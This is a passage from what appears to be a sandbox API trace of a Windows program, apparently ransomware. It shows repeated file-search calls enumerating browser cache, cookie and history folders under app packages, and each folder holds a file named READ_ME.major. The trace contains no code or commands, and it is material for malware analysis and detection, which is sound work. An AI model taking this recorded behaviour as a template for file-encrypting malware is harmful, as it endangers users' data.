ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3354131e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.958] FindNextFileW (in: hFindFile=0x2f2da98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3354131e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3354131e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3354131e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.958] FindNextFileW (in: hFindFile=0x2f2da98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3354131e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3354131e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3354131e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.958] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x83105dc2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83105dc2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3354131e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d858 [0207.959] FindNextFileW (in: hFindFile=0x2f2d858, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x83105dc2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83105dc2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3354131e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.959] FindNextFileW (in: hFindFile=0x2f2d858, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3354131e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3354131e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3354131e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.959] FindNextFileW (in: hFindFile=0x2f2d858, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3354131e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3354131e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3354131e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.959] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x83105dc2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83105dc2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3354131e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d998 [0207.959] FindNextFileW (in: hFindFile=0x2f2d998, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x83105dc2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83105dc2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3354131e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.959] FindNextFileW (in: hFindFile=0x2f2d998, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3354131e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3354131e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3354131e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.959] FindNextFileW (in: hFindFile=0x2f2d998, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3354131e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3354131e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3354131e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.959] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x81e65763, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81e65763, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x335d9148, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2dcd8 [0207.959] FindNextFileW (in: hFindFile=0x2f2dcd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x81e65763, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81e65763, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x335d9148, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.960] FindNextFileW (in: hFindFile=0x2f2dcd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x335d9148, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x335d9148, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x335d9148, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.960] FindNextFileW (in: hFindFile=0x2f2dcd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x335d9148, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x335d9148, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x335d9148, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.960] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x81e65763, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81e65763, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x335d9148, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2db58 [0207.960] FindNextFileW (in: hFindFile=0x2f2db58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x81e65763, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81e65763, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x335d9148, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.960] FindNextFileW (in: hFindFile=0x2f2db58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x335d9148, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x335d9148, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x335d9148, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.960] FindNextFileW (in: hFindFile=0x2f2db58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x335d9148, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x335d9148, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x335d9148, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.961] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x81e65763, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81e65763, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x335d9148, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2ded8 [0207.961] FindNextFileW (in: hFindFile=0x2f2ded8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x81e65763, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81e65763, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x335d9148, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.961] FindNextFileW (in: hFindFile=0x2f2ded8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x335d9148, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x335d9148, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x335d9148, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.961] FindNextFileW (in: hFindFile=0x2f2ded8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x335d9148, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x335d9148, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x335d9148, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.961] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80d4289c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80d4289c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3370a44f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d898 [0207.961] FindNextFileW (in: hFindFile=0x2f2d898, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80d4289c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80d4289c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3370a44f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.962] FindNextFileW (in: hFindFile=0x2f2d898, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3370a44f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3370a44f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3370a44f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.962] FindNextFileW (in: hFindFile=0x2f2d898, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3370a44f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3370a44f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3370a44f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.962] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80d4289c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80d4289c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3370a44f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2df98 [0207.962] FindNextFileW (in: hFindFile=0x2f2df98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80d4289c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80d4289c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3370a44f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.962] FindNextFileW (in: hFindFile=0x2f2df98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3370a44f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3370a44f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3370a44f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.962] FindNextFileW (in: hFindFile=0x2f2df98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3370a44f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3370a44f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3370a44f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.962] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80d4289c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80d4289c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3370a44f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d8d8 [0207.962] FindNextFileW (in: hFindFile=0x2f2d8d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80d4289c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80d4289c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3370a44f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.962] FindNextFileW (in: hFindFile=0x2f2d8d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3370a44f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3370a44f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3370a44f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.962] FindNextFileW (in: hFindFile=0x2f2d8d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3370a44f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3370a44f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3370a44f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.962] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79f43b71, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79f43b71, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x33756820, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2da18 [0207.963] FindNextFileW (in: hFindFile=0x2f2da18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79f43b71, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79f43b71, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x33756820, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.963] FindNextFileW (in: hFindFile=0x2f2da18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33756820, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33756820, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33756820, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.963] FindNextFileW (in: hFindFile=0x2f2da18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33756820, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33756820, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33756820, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.963] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79f43b71, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79f43b71, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x33756820, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2df18 [0207.963] FindNextFileW (in: hFindFile=0x2f2df18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79f43b71, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79f43b71, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x33756820, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.963] FindNextFileW (in: hFindFile=0x2f2df18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33756820, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33756820, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33756820, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.963] FindNextFileW (in: hFindFile=0x2f2df18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33756820, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33756820, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33756820, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.963] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79f43b71, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79f43b71, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x33756820, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2dfd8 [0207.963] FindNextFileW (in: hFindFile=0x2f2dfd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79f43b71, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79f43b71, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x33756820, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, 